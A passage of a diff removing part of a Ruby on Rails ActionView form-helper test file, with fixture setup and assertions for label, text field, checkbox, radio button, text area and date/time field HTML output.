-    def @post.errors()
-      Class.new {
-        def [](field); field == "author_name" ? ["can't be empty"] : [] end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() ["Author name can't be empty"] end
-      }.new
-    end
-    def @post.to_key; [123]; end
-    def @post.id_before_type_cast; 123; end
-    def @post.to_param; '123'; end
-
-    @post.persisted   = true
-    @post.title       = "Hello World"
-    @post.author_name = ""
-    @post.body        = "Back to the hill and over it again!"
-    @post.secret      = 1
-    @post.written_on  = Date.new(2004, 6, 15)
-
-    @post.comments = []
-    @post.comments << @comment
-
-    @post.tags = []
-    @post.tags << Tag.new
-
-    @car = Car.new("#000FFF")
-  end
-
-  Routes = ActionDispatch::Routing::RouteSet.new
-  Routes.draw do
-    resources :posts do
-      resources :comments
-    end
-
-    namespace :admin do
-      resources :posts do
-        resources :comments
-      end
-    end
-
-    get "/foo", to: "controller#action"
-    root to: "main#index"
-  end
-
-  def _routes
-    Routes
-  end
-
-  include Routes.url_helpers
-
-  def url_for(object)
-    @url_for_options = object
-
-    if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
-      object.merge!(controller: "main", action: "index")
-    end
-
-    super
-  end
-
-  class FooTag < ActionView::Helpers::Tags::Base
-    def initialize; end
-  end
-
-  def test_tags_base_child_without_render_method
-    assert_raise(NotImplementedError) { FooTag.new.render }
-  end
-
-  def test_label
-    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
-    assert_dom_equal(
-      '<label for="post_title">The title goes here</label>',
-      label("post", "title", "The title goes here")
-    )
-    assert_dom_equal(
-      '<label class="title_label" for="post_title">Title</label>',
-      label("post", "title", nil, class: 'title_label')
-    )
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
-  end
-
-  def test_label_with_symbols
-    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
-  end
-
-  def test_label_with_locales_strings
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_human_attribute_name
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_symbols
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_and_options
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal(
-      '<label for="post_body" class="post_body">Write entire text here</label>',
-      label(:post, :body, class: "post_body")
-    )
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_and_value
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_and_nested_attributes
-    old_locale, I18n.locale = I18n.locale, :label
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      f.fields_for(:comments) do |cf|
-        concat cf.label(:body)
-      end
-    end
-
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
-      '<label for="post_comments_attributes_0_body">Write body here</label>'
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_fallback_and_nested_attributes
-    old_locale, I18n.locale = I18n.locale, :label
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      f.fields_for(:tags) do |cf|
-        concat cf.label(:value)
-      end
-    end
-
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
-      '<label for="post_tags_attributes_0_value">Tag</label>'
-    end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_for_attribute_as_symbol
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, for: "my_for"))
-  end
-
-  def test_label_with_for_attribute_as_string
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
-  end
-
-  def test_label_does_not_generate_for_attribute_when_given_nil
-    assert_dom_equal('<label>Title</label>', label(:post, :title, for: nil))
-  end
-
-  def test_label_with_id_attribute_as_symbol
-    assert_dom_equal(
-      '<label for="post_title" id="my_id">Title</label>',
-      label(:post, :title, nil, id: "my_id")
-    )
-  end
-
-  def test_label_with_id_attribute_as_string
-    assert_dom_equal(
-      '<label for="post_title" id="my_id">Title</label>',
-      label(:post, :title, nil, "id" => "my_id")
-    )
-  end
-
-  def test_label_with_for_and_id_attributes_as_symbol
-    assert_dom_equal(
-      '<label for="my_for" id="my_id">Title</label>',
-      label(:post, :title, nil, for: "my_for", id: "my_id")
-    )
-  end
-
-  def test_label_with_for_and_id_attributes_as_string
-    assert_dom_equal(
-      '<label for="my_for" id="my_id">Title</label>',
-      label(:post, :title, nil, "for" => "my_for", "id" => "my_id")
-    )
-  end
-
-  def test_label_for_radio_buttons_with_value
-    assert_dom_equal(
-      '<label for="post_title_great_title">The title goes here</label>',
-      label("post", "title", "The title goes here", value: "great_title")
-    )
-    assert_dom_equal(
-      '<label for="post_title_great_title">The title goes here</label>',
-      label("post", "title", "The title goes here", value: "great title")
-    )
-  end
-
-  def test_label_with_block
-    assert_dom_equal(
-      '<label for="post_title">The title, please:</label>',
-      label(:post, :title) { "The title, please:" }
-    )
-  end
-
-  def test_label_with_block_and_options
-    assert_dom_equal(
-      '<label for="my_for">The title, please:</label>',
-      label(:post, :title, "for" => "my_for") { "The title, please:" }
-    )
-  end
-
-  def test_label_with_block_in_erb
-    assert_equal(
-      %{<label for="post_message">\n  Message\n  <input id="post_message" name="post[message]" type="text" />\n</label>},
-      view.render("test/label_with_block")
-    )
-  end
-
-  def test_text_field
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
-      text_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="password" />',
-      password_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="password" value="Hello World" />',
-      password_field("post", "title", value: @post.title)
-    )
-    assert_dom_equal(
-      '<input id="person_name" name="person[name]" type="password" />',
-      password_field("person", "name")
-    )
-  end
-
-  def test_text_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="text" value="<b>Hello World</b>" />',
-      text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_html_entities
-    @post.title = "The HTML Entity for & is &"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for & is &amp;" />',
-      text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_options
-    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "size" => 35)
-    assert_dom_equal expected, text_field("post", "title", size: 35)
-  end
-
-  def test_text_field_assuming_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
-    assert_dom_equal expected, text_field("post", "title", maxlength: 35)
-  end
-
-  def test_text_field_removing_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
-    assert_dom_equal expected, text_field("post", "title", maxlength: 35, size: nil)
-  end
-
-  def test_text_field_with_nil_value
-    expected = '<input id="post_title" name="post[title]" type="text" />'
-    assert_dom_equal expected, text_field("post", "title", value: nil)
-  end
-
-  def test_text_field_with_nil_name
-    expected = '<input id="post_title" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", name: nil)
-  end
-
-  def test_text_field_doesnt_change_param_values
-    object_name = 'post[]'
-    expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
-    assert_equal expected, text_field(object_name, "title")
-    assert_equal object_name, "post[]"
-  end
-
-  def test_file_field_has_no_size
-    expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
-    assert_dom_equal expected, file_field("user", "avatar")
-  end
-
-  def test_file_field_with_multiple_behavior
-    expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
-    assert_dom_equal expected, file_field("import", "file", :multiple => true)
-  end
-
-  def test_file_field_with_multiple_behavior_and_explicit_name
-    expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
-    assert_dom_equal expected, file_field("import", "file", :multiple => true, :name => "custom")
-  end
-
-  def test_hidden_field
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
-      hidden_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
-      hidden_field("post", "secret?")
-    )
-  end
-
-  def test_hidden_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="<b>Hello World</b>" />',
-      hidden_field("post", "title")
-    )
-  end
-
-  def test_hidden_field_with_nil_value
-    expected = '<input id="post_title" name="post[title]" type="hidden" />'
-    assert_dom_equal expected, hidden_field("post", "title", value: nil)
-  end
-
-  def test_hidden_field_with_options
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
-      hidden_field("post", "title", value: "Something Else")
-    )
-  end
-
-  def test_text_field_with_custom_type
-    assert_dom_equal(
-      '<input id="user_email" name="user[email]" type="email" />',
-      text_field("user", "email", type: "email")
-    )
-  end
-
-  def test_check_box_is_html_safe
-    assert check_box("post", "secret").html_safe?
-  end
-
-  def test_check_box_checked_if_object_value_is_same_that_check_value
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-  end
-
-  def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
-    @post.secret = 0
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-  end
-
-  def test_check_box_checked_if_option_checked_is_present
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "checked"=>"checked")
-    )
-  end
-
-  def test_check_box_checked_if_object_value_is_true
-    @post.secret = true
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret?")
-    )
-  end
-
-  def test_check_box_checked_if_object_value_includes_checked_value
-    @post.secret = ['0']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-
-    @post.secret = ['1']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-
-    @post.secret = Set.new(['1'])
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-  end
-
-  def test_check_box_with_include_hidden_false
-    @post.secret = false
-    assert_dom_equal(
-      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", include_hidden: false)
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
-    @post.secret = "on"
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
-    )
-
-    @post.secret = "off"
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
-    @post.secret = false
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
-      check_box("post", "secret", {}, false, true)
-    )
-
-    @post.secret = true
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
-      check_box("post", "secret", {}, false, true)
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
-    @post.secret = 0
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = 1
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = 2
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
-    @post.secret = 0.0
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = 1.1
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = 2.2
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
-    @post.secret = BigDecimal.new(0)
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = BigDecimal.new(1)
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-
-    @post.secret = BigDecimal.new(2.2, 1)
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
-    )
-  end
-
-  def test_check_box_with_nil_unchecked_value
-    @post.secret = "on"
-    assert_dom_equal(
-      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", nil)
-    )
-  end
-
-  def test_check_box_with_nil_unchecked_value_is_html_safe
-    assert check_box("post", "secret", {}, "on", nil).html_safe?
-  end
-
-  def test_check_box_with_multiple_behavior
-    @post.comment_ids = [2,3]
-    assert_dom_equal(
-      '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
-      check_box("post", "comment_ids", { multiple: true }, 1)
-    )
-    assert_dom_equal(
-      '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
-      check_box("post", "comment_ids", { multiple: true }, 3)
-    )
-  end
-
-  def test_check_box_with_multiple_behavior_and_index
-    @post.comment_ids = [2,3]
-    assert_dom_equal(
-      '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
-      check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
-    )
-    assert_dom_equal(
-      '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
-      check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
-    )
-
-  end
-
-  def test_checkbox_disabled_disables_hidden_field
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", { disabled: true })
-    )
-  end
-
-  def test_checkbox_form_html5_attribute
-    assert_dom_equal(
-      '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", form: "new_form")
-    )
-  end
-
-  def test_radio_button
-    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
-      radio_button("post", "title", "Hello World")
-    )
-    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
-      radio_button("post", "title", "Goodbye World")
-    )
-    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
-      radio_button("item[subobject]", "title", "inside world")
-    )
-  end
-
-  def test_radio_button_is_checked_with_integers
-    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
-      radio_button("post", "secret", "1")
-   )
-  end
-
-  def test_radio_button_with_negative_integer_value
-    assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
-      radio_button("post", "secret", "-1"))
-  end
-
-  def test_radio_button_respects_passed_in_id
-     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
-       radio_button("post", "secret", "1", id: "foo")
-    )
-  end
-
-  def test_radio_button_with_booleans
-    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
-      radio_button("post", "secret", true)
-    )
-
-    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
-      radio_button("post", "secret", false)
-    )
-  end
-
-  def test_text_area
-    assert_dom_equal(
-      %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_escapes
-    @post.body = "Back to <i>the</i> hill and over it again!"
-    assert_dom_equal(
-      %{<textarea id="post_body" name="post[body]">\nBack to <i>the</i> hill and over it again!</textarea>},
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_alternate_value
-    assert_dom_equal(
-      %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
-      text_area("post", "body", value: "Testing alternate values.")
-    )
-  end
-
-  def test_text_area_with_nil_alternate_value
-    assert_dom_equal(
-      %{<textarea id="post_body" name="post[body]">\n</textarea>},
-      text_area("post", "body", value: nil)
-    )
-  end
-
-  def test_text_area_with_html_entities
-    @post.body = "The HTML Entity for & is &"
-    assert_dom_equal(
-      %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for & is &amp;</textarea>},
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_size_option
-    assert_dom_equal(
-      %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", size: "183x820")
-    )
-  end
-
-  def test_color_field_with_valid_hex_color_string
-    expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
-    assert_dom_equal(expected, color_field("car", "color"))
-  end
-
-  def test_color_field_with_invalid_hex_color_string
-    expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
-    @car.color = "#1234TR"
-    assert_dom_equal(expected, color_field("car", "color"))
-  end
-
-  def test_color_field_with_value_attr
-    expected = %{<input id="car_color" name="car[color]" type="color" value="#00FF00" />}
-    assert_dom_equal(expected, color_field("car", "color", value: "#00FF00"))
-  end
-
-  def test_search_field
-    expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
-    assert_dom_equal(expected, search_field("contact", "notes_query"))
-  end
-
-  def test_telephone_field
-    expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
-    assert_dom_equal(expected, telephone_field("user", "cell"))
-  end
-
-  def test_date_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
-    assert_dom_equal(expected, date_field("post", "written_on"))
-  end
-
-  def test_date_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, date_field("post", "written_on"))
-  end
-
-  def test_date_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
-    @post.written_on = DateTime.new(2004, 6, 15)
-    min_value = DateTime.new(2000, 6, 15)
-    max_value = DateTime.new(2010, 8, 15)
-    step = 2
-    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_date_field_with_value_attr
-    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2013-06-29" />}
-    value = Date.new(2013,6,29)
-    assert_dom_equal(expected, date_field("post", "written_on", value: value))
-  end
-
-  def test_date_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
-    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
-    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
-    assert_dom_equal(expected, date_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_date_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, date_field("post", "written_on"))
-  end
-
-  def test_time_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
-    assert_dom_equal(expected, time_field("post", "written_on"))
-  end
-
-  def test_time_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, time_field("post", "written_on"))
-  end
-
-  def test_time_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
-    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
-    step = 60
-    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_time_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
-    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
-    @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
-    assert_dom_equal(expected, time_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_time_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, time_field("post", "written_on"))
-  end
-
-  def test_datetime_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
-    assert_dom_equal(expected, datetime_field("post", "written_on"))
-  end
-
-  def test_datetime_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, datetime_field("post", "written_on"))
-  end
-
-  def test_datetime_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
-    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
-    step = 60
-    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_datetime_field_with_value_attr
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2013-06-29T13:37:00+00:00" />}
-    value = DateTime.new(2013,6,29,13,37)
-    assert_dom_equal(expected, datetime_field("post", "written_on", value: value))
-  end
-
-  def test_datetime_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
-    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
-    assert_dom_equal(expected, datetime_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_datetime_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, datetime_field("post", "written_on"))
-  end
-
-  def test_datetime_local_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
-    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
-  end
-
-  def test_datetime_local_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
-  end
-
-  def test_datetime_local_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
-    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
-    step = 60
-    assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_datetime_local_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
-    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
-    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_datetime_local_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, datetime_local_field("post", "written_on"))
-  end
-
-  def test_month_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
-    assert_dom_equal(expected, month_field("post", "written_on"))
-  end
-
-  def test_month_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, month_field("post", "written_on"))
-  end
-
-  def test_month_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, month_field("post", "written_on"))
-  end
-
-  def test_month_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    min_value = DateTime.new(2000, 2, 13)
-    max_value = DateTime.new(2010, 12, 23)
-    step = 2
-    assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_month_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
-    expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
-    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
-    assert_dom_equal(expected, month_field("post", "written_on"))
-  ensure
-    Time.zone = previous_time_zone
-  end
-
-  def test_week_field
-    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
-    assert_dom_equal(expected, week_field("post", "written_on"))
-  end
-
-  def test_week_field_with_nil_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
-    @post.written_on = nil
-    assert_dom_equal(expected, week_field("post", "written_on"))
-  end
-
-  def test_week_field_with_datetime_value
-    expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    assert_dom_equal(expected, week_field("post", "written_on"))
-  end
-
-  def test_week_field_with_extra_attrs
-    expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
-    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
-    min_value = DateTime.new(2000, 2, 13)
-    max_value = DateTime.new(2010, 12, 23)
-    step = 2
-    assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
-  end
-
-  def test_week_field_with_timewithzone_value
-    previous_time_zone, Time.zone = Time.zone, 'UTC'
